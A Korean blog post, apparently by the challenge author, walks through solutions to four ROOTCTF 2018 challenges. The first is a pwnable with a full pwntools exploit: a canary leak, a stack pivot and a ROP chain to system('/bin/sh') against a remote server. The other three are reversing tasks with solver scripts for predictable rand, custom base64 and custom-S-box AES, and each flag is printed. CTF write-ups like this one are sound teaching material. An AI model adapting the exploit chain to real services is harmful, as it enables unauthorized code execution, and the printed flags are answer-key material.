본문 바로가기

CTF

[ROOTCTF 2018] Write up


Pwnable - S3CretD00r (932pt)

Reversing - ROOT Login (990pt)

Reversing - CrackMe (957pt)

Reversing - MyLocker (990pt)


안녕하세요 ROOTCTF 2018 S3CretD00r, ROOT Login, CrackMe, MyLocker 출제자입니다.

ROOTCTF에 참가해주신 참가자분들께 조금이라도 도움이 되고자 풀이를 공유합니다.

 


Pwnable - S3CretD00r (932pt)

먼저 Pwnable S3CretD00r 문제입니다.

 

해당 문제의 컨셉은 Custom Canary입니다.

해당 함수에서 Custom Canary를 생성하는 코드를 볼 수 있습니다.

 

후에 Game을 시작하면 다음과 같이 가위바위보를 하는 코드를 목격할 수 있습니다.

rand()를 통해 가위바위보를 하는데 init 함수에서 srand를 0x100으로 고정해놨기 때문에 rand 값을 추출할 수 있습니다.

그러면 가위바위보를 무수히 많이 이길 수 있게 됩니다.

 

또한 가위바위보에 진 후 본인이 입력한 가위바위보 로그를 볼 수 있는데 다음과 같은 함수에서 out of bound가 일어남으로 커스텀 카나리를 릭할 수 있습니다.

 

후에 가위바위보에 30번 승리 후 admin 권한을 얻을 수 있는데 해당 함수에서 오버플로우 취약점이 발생하기 때문에 ROP 공격이 가능해집니다.

하지만 버퍼오버플로우가 0x10만큼 밖에 더 일어나지 않기 때문에 leave_ret같은 주소를 통해 rop 하면서 스택을 bss영역 등과 같은 주소로 돌릴 수 있습니다. 

후에 해당 영역에서 leave_ret을 적절히 사용하여 라이브러리 주소를 릭하고 시스템 권한을 획득할 수 있습니다.

 

[solve]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
from ctypes import *
 
libc = CDLL('libc.so.6')
lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 
def time():
    libc.srand(0x100)
 
    a = []
 
    for i in range(0x40):
        tmp = (libc.rand() % 3)
        if tmp == 0:
            tmp = 3
        a.append(tmp)
 
    return a
 
= remote('222.110.147.52'2833)
= ELF('./secret_door')
r.sendlineafter('>> ''1')
 
= time()
for i in range(0x10-1):
    r.sendlineafter('>> 'str(a[i]))
r.sendlineafter('>> 'str(1))
r.recvuntil('Do you want to view input log? (y, n)')
r.sendlineafter('>> ''y')
 
canary = ''
for i in range(1717+8):
    sleep(0.1)
    r.recvuntil(str(i))
    r.recvuntil("'")
    canary += r.recvuntil("'")[:-1]
 
cry = 0
for i in range(8):
    cry += (ord(canary[i]) << (i*8))
 
r.sendlineafter('>> ''1')
for i in range(30):
    r.sendlineafter('>> 'str(a[i+0x10]))
 
r.sendlineafter('>> ''n')
r.sendlineafter('>> ''2')
 
p_rdi = 0x4012f3
bss = 0x602A00
leaveret = 0x401288
door = 0x401217
input_read = 0x40125e
 
payload = 'A'*0x20
payload += p64(cry)
payload += 'A'*8
payload += p64(bss+0x20)
payload += p64(input_read)
r.sendafter('Please tell me what to do.', payload)
 
payload = p64(p_rdi)
payload += p64(e.got['read'])
payload += p64(e.plt['puts'])
payload += p64(door)
payload += p64(cry)
payload += 'A'*8
payload += p64(bss-8-16)
payload += p64(leaveret)
r.send(payload)
 
sleep(1)
r.recvn(1)
leak = u64(r.recvn(6+ '\x00\x00')
base = leak - lib.symbols['read']
system = base + lib.symbols['system']
binsh = base + next(lib.search("/bin/sh"))
print 'leak : ' + hex(leak)
print 'base : ' + hex(base)
 
payload = p64(p_rdi)
payload += p64(binsh)
payload += p64(system)
payload += 'A'*8
payload += p64(cry)
payload += 'A'*8
payload += p64(bss-0x10-32)
payload += p64(leaveret)
r.send(payload)
 
r.interactive()
 
cs

 

Flag : FLAG{B3_G00D_0r_I_W1ll_T3xt_SanTa!}

 


Reversing - ROOT Login (990pt)

두번째로 Reversing ROOT Login 문제입니다.

 

문제 init을 보시면 다음과 같이 메뉴를 출력하고 현재 시간을 알려주는 것을 확인할 수 있습니다.

 

또한 key를 읽어오는데 따로 파일을 주지않기 때문에 key를 알아내는 것이 관건인 문제입니다.

 

먼저 id 체크 루틴입니다.

먼저 입력한 id를 sub_401639에서 2진수 형태의 배열로 저장한 뒤 반복문을 통해 xor 연산을 진행하고, 4bit 2진수를 10진수로 변환한 뒤에 지정된 dowrd_602100 값과 비교합니다.

결국 입력한 id를 한문자 한문자씩 비교하는 것과 다를바 없으므로 brute force를 통해 간단히 id를 출력해낼 수 있습니다.

 

[print_id]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
id_key = [704547704206634540361061720617534206101563454777704275345403664777036647704272750]
 
id = ['0' for i in range(10)]
mem = ['0' for i in range(4)]
id_bin = ''
ID = ''
 
for length in range(len(id_key) / 8):
    for bf in range(32127):
        id[length] = chr(bf)
        mem = ['0' for i in range(4)]
        for i in id:
            tmp = bin(ord(i))[2:].rjust(8'0')
            for i in range(8):
                mem.append(tmp[i])
 
        check = []
        for i in range(4len(mem)):
            a1 = str(int(mem[i]) ^ int(mem[i - 1]) ^ int(mem[i - 2]) ^ int(mem[i - 3]) ^ 1)
            a2 = str(int(mem[i]) ^ int(mem[i - 1]) ^ int(mem[i - 3]) ^ 1)
            a3 = str(int(mem[i]) ^ 1)
            check.append('0' + a3 + a1 + a2)
 
        for i in range(8):
            if int(check[8 * length + i], 2== id_key[8 * length + i]:
                c = 1
            else:
                c = 0
                break
 
        if c == 1:
            c = 0
            ID += chr(bf)
            id[length] = chr(bf)
            break
 
print 'id : ' + ID
#id : Admin@R00T
 
cs

 

id_check 루틴을 통과한다면 password를 입력받습니다.

password는 64글자이며, 오직 숫자와 A~F, a~f로 이루어진 문자열만 입력할 수 있습니다.

 

후에 pw_check 루틴입니다. 

루틴은 비교적 매우 간단합나다.

key와 pw를 4byte씩 읽어와 strtoul함수를 통해 해당 문자열을 16진수 형태의 숫자로 변환합니다. (ex. "ab12" -> 0xab12)

또한 rand()값에서 2byte를 읽어온 뒤,

v11 = id ^ (key * ((rand ^ pw ^ v11) + 1) + (rand ^ pw ^ v11)); 

위와 같은 연산을 진행합니다.

사실 id값은 고정되어 있으며, v11변수 같은경우에는 초기값이 0입니다. 

또한 rand값 같은 경우에도 프로그램이 실행되었을때, srand(time(NULL));을 동시에 초기화 시켜서 rand()값을 추출할 수 있으므로 rand값 또한 알 수 있습니다. 

그렇기에 key를 추출해낼 수 있는데 (rand ^ pw ^ v11)의 값이 0이 된다면 id와 다시 xor하여 key값을 추출해낼 수 있습니다.

 

[get_key]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from ctypes import *
from pwn import *
 
context.log_level = "error"
libc=CDLL('libc.so.6')
 
ID = 'Admin@R00T'
KEY = []
 
for i in range(10):
    check = 1
    result = [0]
    key = ''
    while 1:
        libc.srand(libc.time(0))
        r = remote('222.110.147.52'2018)
 
        rand = []
        for i in range(16):
            rand.append(libc.rand() & 0xffff)
        r.sendlineafter('Name : ', ID)
 
        random = ''
        for i in range(check):
            random += "%04X" % (rand[i] ^ result[i])
        for i in range(16-check):
            random += "%04X" % rand[i+check]
 
        r.sendlineafter('Password : ', random)
        r.recvuntil('Generated Password : ')
        r.recv(4*(check-1))
        re = int(r.recv(4), 16)
 
        key += "%04X" % (re ^ u16(ID[(check-1)%9 : ((check-1)%9)+2]))
        result.append(re)
 
        check += 1
        r.close()
        if check > 16:
            KEY.append(key)
            break
 
= 0
overlap = []
score = []
count = 1
 
for i in range(len(KEY)):
    arr = []
    count = 1
    try:
        if i == 0raise
        overlap.index(KEY[i])
    except:
        for j in range(i+1len(KEY)):
            if KEY[i] == KEY[j]:
                count += 1
        overlap.append(KEY[i])
        arr.append(KEY[i])
        arr.append(str(count))
        score.append(arr)
 
for i in range(len(score)):
    print 'count : ' + str(score[i][1]) + ', key : ' + score[i][0]
 
'''
[test1]
count : 7, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6 
count : 1, key : 5CB6F4CA55386AB21ACA9F5565C14D924252C4C649C6D2F86326EFDA23982FA6 
count : 1, key : 5CB6F4CA55386AB21ACAD7845826F74C4252C4C649C6D2F8EFE6981A23982FA6 
count : 1, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C6F7B566D36326EFDA23982FA6 
[test2]
count : 1, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C50C47CCD2F86326EFDA23982FA6 
count : 8, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6 
count : 1, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23984B61 
[test3]
count : 9, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6
count : 1, key : 5CB6F4CA55386AB21ACAA9FD64294D924252C4C649C6D2F86326EFDA23982FA6
[test4]
count : 10, key : 5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6
'''
cs

time 시드값이 안맞아서 key값이 자주 틀리는데 여러 key추출하고 count가 높은 key를 사용하시면 됩니다. 

 

이제 key값을 구했으니 간단한 brute force를 통해 password를 맞춰주면 flag가 나옵니다.

 

[solve]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from ctypes import *
from pwn import *
 
context.log_level = "error"
libc=CDLL('libc.so.6')
 
ID = 'Admin@R00T'
key = '5CB6F4CA55386AB21ACAD784EBB84D924252C4C649C6D2F86326EFDA23982FA6'
ans = '38F699AE3C54F4D8743AD79EDBEA7DA21662A08624A2BB940D4EAFB071D81FF4'
 
#r = process('./R00T_Login')
= remote('222.110.147.52'2018)
libc.srand(libc.time(0))
r.sendlineafter('Name : ', ID)
sum = 0
pw = ''
rand = []
for i in range(16):
    rand.append(libc.rand() & 0xffff)
 
for i in range(16):
    a1 = u16(ID[i%9 : (i%9)+2])
    a3 = rand[i]
    a4 = int(key[i*4:i*4+4], 16)
 
    for bf in range(00xffff+1):
        a2 = bf
        if (((a4 * ((sum ^ a2 ^ a3) + 1+ (sum ^ a2 ^ a3)) & 0xffff) ^ a1)== int(ans[i*4:i*4+4], 16):
            pw += "%04X" % bf
            sum = int(ans[i*4:i*4+4], 16)
            break
 
print 'pw : ' + pw
r.sendlineafter('Password : ', pw)
 
r.interactive()
cs

Flag : FLAG{Wishing_y0u_a_w0nderful_Chr1stmas_f1lled_w1th_j0y_and_laughter!!}

 


Reversing - CrackMe (957pt)

세 번째로, CrackMe 문제입니다.

 

문제 main은 비교적 간단합니다.

하나의 문자열을 입력받고 correct인지 wrong인지를 판별합니다.

 

srand가 고정되고, 여러 함수의 연산을 거친 뒤 최종 byte값과 비교하여 성공과 실패를 구별합니다.

 

400990함수 모습입니다.

입력한 input을 2진수로 바꾼 뒤 이러한 2진수 문자열들을 Run Length Encrypt를 통해 암호화 시킵니다.

3글자 이상의 중복 문자열이 있을시에는 새로운 배열에 '!' 문자를 넣고, byte_6020A0[중복수] 문자와 byte_6020A0[rand() + 2진수]를 넣습니다.

만약 중복이 없을시에는 byte_6020A0[rand() + 2진수]만 넣습니다.

rand()값은 고정이기 때문에 2진수가 0인지 1인지 알 수 있으며, '!' 문자를 넣어주기 때문에 언제 중복이 발생하는지 알 수 있어 역연산이 가능합니다.

 

Run Length Encrypt 암호화를 진행한 후에 400AA0함수에서 다음과 같은 연산을 진행합니다. (소스코드가 너무 길어서 다 캡쳐하지 못했습니다)

분석해보시면 처음에 문자열 2진수로 바꾸고 6bit씩 쪼개서 해당 6bit index에 존재하는 문자열로 치환하는 간단한 커스텀 base64 암호화 인 것을 알 수 있습니다.

커스텀 base64 같은 경우 table값이 해당 코드에 고정되어 있기 때문에 간단히 복호화가 가능합니다.

 

[solve]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from ctypes import *
 
libc = CDLL('libc.so.6'
 
def base64_decode(str):
    b64_table = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/="
    dest = []
    s = []
    de = []
    de_str = ''
 
    for i in str:
        if i != '=':
            s += de_binary_number(b64_table.index(i))
 
    arr = []
    for i in range(len(s)):
        arr.append(s[i])
        if (i + 1) % 8 == 0 and i != 0:
            dest.append(arr)
            arr = []
 
    for i in range(len(dest)):
        de.append(de_demical_number(dest[i]))
 
    for i in range(len(de)):
        de_str += chr(de[i])
 
    return de_str
 
def de_binary_number(str):
    bin = [0 for i in range(6)]
    for i in range(5-1-1):
        bin[i] = str & 1
        str >>= 1
    return bin
 
 
def de_demical_number(str):
    num = str[0]
    for i in range(18):
        num = num * 2 + str[i]
    return num
 
table = [
0x520x090x6A0xD50x300x360xA50x380xBF0x400xA30x9E0x810xF30xD70xFB,
0x7C0xE30x390x820x9B0x2F0xFF0x870x340x8E0x430x440xC40xDE0xE90xCB,
0x540x7B0x940x320xA60xC20x230x3D0xEE0x4C0x950x0B0x420xFA0xC30x4E,
0x080x2E0xA10x660x280xD90x240xB20x760x5B0xA20x490x6D0x8B0xD10x25,
0x720xF80xF60x640x860x680x980x160xD40xA40x5C0xCC0x5D0x650xB60x92,
0x6C0x700x480x500xFD0xED0xB90xDA0x5E0x150x460x570xA70x8D0x9D0x84,
0x900xD80xAB0x000x8C0xBC0xD30x0A0xF70xE40x580x050xB80xB30x450x06,
0xD00x2C0x1E0x8F0xCA0x3F0x0F0x020xC10xAF0xBD0x030x010x130x8A0x6B,
0x3A0x910x110x410x4F0x670xDC0xEA0x970xF20xCF0xCE0xF00xB40xE60x73,
0x960xAC0x740x220xE70xAD0x350x850xE20xF90x370xE80x1C0x750xDF0x6E,
0x470xF10x1A0x710x1D0x290xC50x890x6F0xB70x620x0E0xAA0x180xBE0x1B,
0xFC0x560x3E0x4B0xC60xD20x790x200x9A0xDB0xC00xFE0x780xCD0x5A0xF4,
0x1F0xDD0xA80x330x880x070x210x310xB10x120x100x590x270x800xEC0x5F,
0x600x510x7F0xA90x190xB50x4A0x0D0x2D0xE50x7A0x9F0x930xC90x9C0xEF,
0xA00xE00x3B0x4D0xAE0x2A0xF50xB00xC80xEB0xBB0x3C0x830x530x990x61,
0x170x2B0x040x7E0xBA0x770xD60x260xE10x690x140x630x550x7D0x0C0xC7]
 
str = '39xs8IzeMEDEsLl/N+ps8yHgRGB9osPSRwD1RwC7QHVdr0xx5qp/fFMCRMFFccMaRGAEcHSEnFVs8w5yI7QlRwDzleMtykO2mbSEqDRvYhfcRwCbi7hsMiJvzbSEebSEzj1yBC9sMomuwHV7K+Zs8ypBUbVdko9oRGzsR+tsMhp8msHV4c2QEP4CGKFsMsps8H7kuclvIBwRRGzRrKyi+akVRwCAIXAAdswNntZ5OIzic1LbHoP/ibd/xdw7FWBsMmfi6VmryjVs8zhSNeZYRGYmRoZmfpskXa8qOrV7IdDQRwCWXL1s8GlpFrSEL/3rRwD0UJCQ6iJs8vG4LDLW2bSEBBeoRwF9eS1sModdQDUnh+cOxBZ8qGts8uhs8CnKKXV7jHSEXFts8yN4RGz7CtJ='
string = base64_decode(str)
 
libc.srand(2018)
 
str_bin = []
idx = 0
while 1:
    if idx >= len(string):
        break
    num = 1
    
    if ord(string[idx]) == ord('!'):
        num = table.index(ord(string[idx + 1]))
        idx += 2
    
    random = (libc.rand() & 0xff)
    if table.index(ord(string[idx])) - random == 1:
        str_bin += [1 for i in range(num)]
    elif table.index(ord(string[idx])) - random == 0:
        str_bin += [0 for i in range(num)]
    else:
        if random == 0xff:
            str_bin += [1 for i in range(num)]
    idx += 1
 
= []
 
for i in range(len(str_bin)/8):
    arr = []
    for j in range(8):
        arr.append(str_bin[i*8+j])
    a.append(arr)
 
flag = ''
for i in a:
    flag += chr(de_demical_number(i))
print flag
#FLAG{I_w1ll_G0_t0_Y0u_lik3_The_F1rst_Sn0w}
cs

Flag : FLAG{I_w1ll_G0_t0_Y0u_lik3_The_F1rst_Sn0w}

 


Reversing - MyLocker (990pt)

마지막으로 MyLocker 문제입니다.

 

위 코드를 보시면 ROOT.flag 파일이 암호화 된 것을 알 수 있습니다.

또한 파일 data를 하나하나 읽어와 16byte씩 암호화를 진행하는 것을 알 수 있습니다.

 

후에 encrypt 함수를 보시면 AES 128bit 암호화라는 것을 추측할 수 있습니다.

제가 AES 암호화 알고리즘을 하나하나 설명하는 것보다 아래 주소에 있는 설명이 훨씬 정확하고 이해가 쉽기에 링크를 남기겠습니다.

AES 암호화 알고리즘은 https://en.wikipedia.org/wiki/Advanced_Encryption_Standard 에서 공부하실 수 있습니다.

분석을 해보신분들은 아시겠지만 S-Box의 경우 custom S-Box이기 때문에 따로 inv_S-Box를 구현하고 AES 복호화 하시면 됩니다.

 

[solve]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>
 
void Inv_SubByte();
void Inv_ShiftRow();
void Inv_MixColumn();
void AddRoundKey(int n);
void KeySchedule(int n);
void InitRound();
void Decrypt();
void AES_Decrypt();
 
unsigned char CipherKey[11][4][4=
    {
        {0x410x45 ,0x530x31},
        {0x320x380x5f0x43},
        {0x690x700x680x65},
        {0x720x4b0x650x79}
    },
};
unsigned char state[4][4= { 0, };
unsigned char s_box[16][16=
{
    {12512338599201052253821411918612644323},
    {971538313160187235200176245421747759224160},
    {239156201147159122229451374181251691278196},
    {95236128398916181774919971365116822131},
    {2449020512025419221915432121210198756286252},
    {2719024170149818311113719741291132624171},
    {11022311728232552492261335317323134116172150},
    {11523018024020620724215123422010379651714558},
    {1071381913189175193215632021433044208},
    {669179184588228247102111881400171216144},
    {132157141167877021942181852372538072112108},
    {146182101932049216421222152104134100246248114},
    {3720913910973162911181783621740102161468},
    {7819525066111497623861351941665014812384},
    {2032332221966867142521352554715513057227124},
    {25121524312915816364191561655448213106982}
};
unsigned char inv_sbox[16][16=
{
    {156131136132131481445820725415221214084137}, 
    {531255413051661841582439380999114163}, 
    {72210821720119285120390261414239206234}, 
    {2515622060231105250101248237127292021677138}, 
    {24612421122922814516595173196417621428208123}, 
    {1724625518223378164149526519818117916748}, 
    {471685418817820412218662531281751959687}, 
    {17492191112109981991067733722223901245}, 
    {50243236191601041872325988129194155162230140}, 
    {1591261763522121311111918517712353316124436}, 
    {3120519724518224921916361448315711010627134}, 
    {24552001461144217786147169112115413381247}, 
    {69135218209227897557233413922418066116117}, 
    {143193741531832529241158202168701216222697}, 
    {30710323815038113107100225120224917021532}, 
    {1159411824264251891511901022102407917168233}
};
 
int main()
{
    InitRound();
    Decrypt();
}
 
void Decrypt()
{
    char *buffer;
    int size, i, j, k, padding;
 
    FILE *fp = fopen("ROOT.flag""rb");
 
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
 
    buffer = malloc(size + 1);
    memset(buffer, 0size + 1);
 
    fseek(fp, 0, SEEK_SET);
    fread(buffer, size1, fp);
 
    FILE *f_enc = fopen("ROOT.flag""wb");
 
    for (k = 0; k < size; k += 16)
    {
        for (i = 0; i < 4; i++)
        {
            for (j = 0; j < 4; j++)
            {
                state[i][j] = buffer[k + i * 4 + j];
            }
        }
        AES_Decrypt();
        for (i = 0; i < 4; i++)
        {
            for (j = 0; j < 4; j++)
            {
                fprintf(f_enc, "%c", state[i][j]);
            }
        }
    }
 
    fclose(fp);
    fclose(f_enc);
    free(buffer);
}
 
void InitRound()
{
    for (int i = 0; i < 10; i++)
        KeySchedule(i);
}
 
void AES_Decrypt()
{
    int i;
 
    AddRoundKey(10);
 
    for (i = 9; i > 0; i--)
    {
        Inv_ShiftRow();
        Inv_SubByte();
        AddRoundKey(i);
        Inv_MixColumn();
    }
 
    Inv_ShiftRow();
    Inv_SubByte();
    AddRoundKey(i);
}
 
void Inv_SubByte()
{
    int x, y;
 
    for (int i = 0; i < 4; i++)
    {
        for (int j = 0; j < 4; j++)
        {
            x = state[i][j] >> 4;
            y = state[i][j] & 0xf;
            state[i][j] = inv_sbox[x][y];
        }
    }
}
 
void Inv_ShiftRow()
{
    int tmp;
 
    for (int i = 0; i < 4; i++)
    {
        for (int j = 4 - i; j < 4; j++)
        {
            tmp = state[i][3];
            for (int k = 3; k >= 0; k--)
            {
                state[i][k] = state[i][k - 1];
            }
            state[i][0= tmp;
        }
    }
}
 
void Inv_MixColumn() {
    unsigned int a;
    unsigned char tmp[4], b;
 
    int8_t matrix[4][4=
    {
        { 1411139 },
        { 9141113 },
        { 1391411 },
        { 1113914 }
    };
 
    for (int row = 0; row < 4; row++)
    {
        for (int i = 0; i < 4; i++)
        {
            a = 0, b = 0;
            for (int col = 0; col < 4; col++)
            {
                if (matrix[i][col] == 9)
                {
                    a = state[col][row];
                    for (int j = 0; j < 3; j++)
                    {
                        a *= 2;
                        if (a >> 8)
                            a = a - 256 ^ 0x1b;
                    }
                    a ^= state[col][row];
                }
                else if (matrix[i][col] == 11)
                {
                    a = state[col][row];
                    for (int j = 0; j < 2; j++)
                    {
                        a *= 2;
                        if (a >> 8)
                            a = a - 256 ^ 0x1b;
                    }
                    a ^= state[col][row];
 
                    a *= 2;
                    if (a >> 8)
                        a = a - 256 ^ 0x1b;
                    a ^= state[col][row];
                }
                else if (matrix[i][col] == 13)
                {
                    a = state[col][row] * 2;
                    if (a >> 8)
                        a = a - 256 ^ 0x1b;
                    a ^= state[col][row];
 
                    for (int j = 0; j < 2; j++)
                    {
                        a *= 2;
                        if (a >> 8)
                            a = a - 256 ^ 0x1b;
                    }
                    a ^= state[col][row];
                }
                else if (matrix[i][col] == 14)
                {
                    a = state[col][row];
                    for (int j = 0; j < 2; j++)
                    {
                        a *= 2;
                        if (a >> 8)
                            a = a - 256 ^ 0x1b;
                        a ^= state[col][row];
                    }
                    a *= 2;
                    if (a >> 8)
                        a = a - 256 ^ 0x1b;
                }
                b ^= a;
            }
            tmp[i] = b;
        }
        for (int j = 0; j < 4; j++)
            state[j][row] = tmp[j];
    }
}
 
void AddRoundKey(int n)
{
    for (int i = 0; i < 4; i++)
    {
        for (int j = 0; j < 4; j++)
        {
            state[i][j] ^= CipherKey[n][i][j];
        }
    }
}
 
void KeySchedule(int n)
{
    unsigned char Rcon[4][10=
    {
        { 0x010x020x040x080x100x200x400x800x1b0x36 },
        { 0x000x000x000x000x000x000x000x000x000x00 },
        { 0x000x000x000x000x000x000x000x000x000x00 },
        { 0x000x000x000x000x000x000x000x000x000x00 }
    };
    unsigned char tmp[4][4];
    unsigned char tmp2[4];
    int x, y;
 
    for (int i = 0; i < 3; i++)
    {
        tmp2[i] = CipherKey[n][i + 1][3];
    }
    tmp2[3= CipherKey[n][0][3];
 
    for (int i = 0; i < 4; i++)
    {
        x = tmp2[i] >> 4;
        y = tmp2[i] & 0xf;
        tmp2[i] = s_box[x][y];
    }
 
    for (int i = 0; i < 4; i++)
    {
        tmp[i][0= tmp2[i] ^ Rcon[i][n] ^ CipherKey[n][i][0];
    }
 
    for (int j = 1; j < 4; j++)
    {
        for (int i = 0; i < 4; i++)
        {
            tmp[i][j] = tmp[i][j - 1] ^ CipherKey[n][i][j];
        }
    }
 
    for (int i = 0; i < 4; i++)
    {
        for (int j = 0; j < 4; j++)
        {
            CipherKey[n + 1][i][j] = tmp[i][j];
        }
    }
}
cs

해당 ROOT.flag를 복호화 한다면 png파일이 생성되고 위와 같은 플래그를 확인할 수 있습니다.

Flag : FLAG{On_Th1s_Sea_Sh0wered_w1th_starlight}


마지막으로 제 2회 ROOT CTF에 참가해주신 모든 참가자분들께 깊은 감사의 인사 드립니다. (__)

작년에 열었던 제 1회 ROOT CTF에선 처음 개최해봤던 외부대회 였기에 굉장히 문제가 많았습니다.

마음고생을 하기도 했지만 같은 실수를 하지 않기 위해 더욱 열심히 하는 계기가 되었던 대회였습니다.

그렇기에 대회 퀄리티와 운영에 있어 질을 높이고, 작년에 받은 설문 내용 및 피드백을 통해 실수를 최대한 방지하고자 두달의 기간동안 열심히 준비를 하였던 것 같습니다.

물론 지금의 대회도 퀄리티가 좋다고 자부할 수는 없지만 작년에 비해 많이 노력했기에 같은 실수는 하지 않을 수 있었습니다.

그렇기에 ROOTCTF 2번의 대회 운영 및 책임을 맡으면서 제가 겪었던 실수를 3회 대회를 이어갈 후배들이 겪지않도록 다시 설문조사를 하고있습니다. 

이번 대회에 있어 후기나 개선되어야할 피드백을 적어주신다면 다음 대회에 적극적으로 반영됩니다. 

대회에 참가해주신 모든 참가자분들 모두 수고하셨습니다. 감사합니다! :)

'CTF' 카테고리의 다른 글

YISF 2018 final  (0) 2018.08.23
YISF 2018 예선 Write up  (1) 2018.08.16
[ISITDTU CTF 2018] write up  (0) 2018.07.29
[SCTF 2018] dingJMax  (0) 2018.07.14
[RCTF 2018] cpushop  (2) 2018.05.22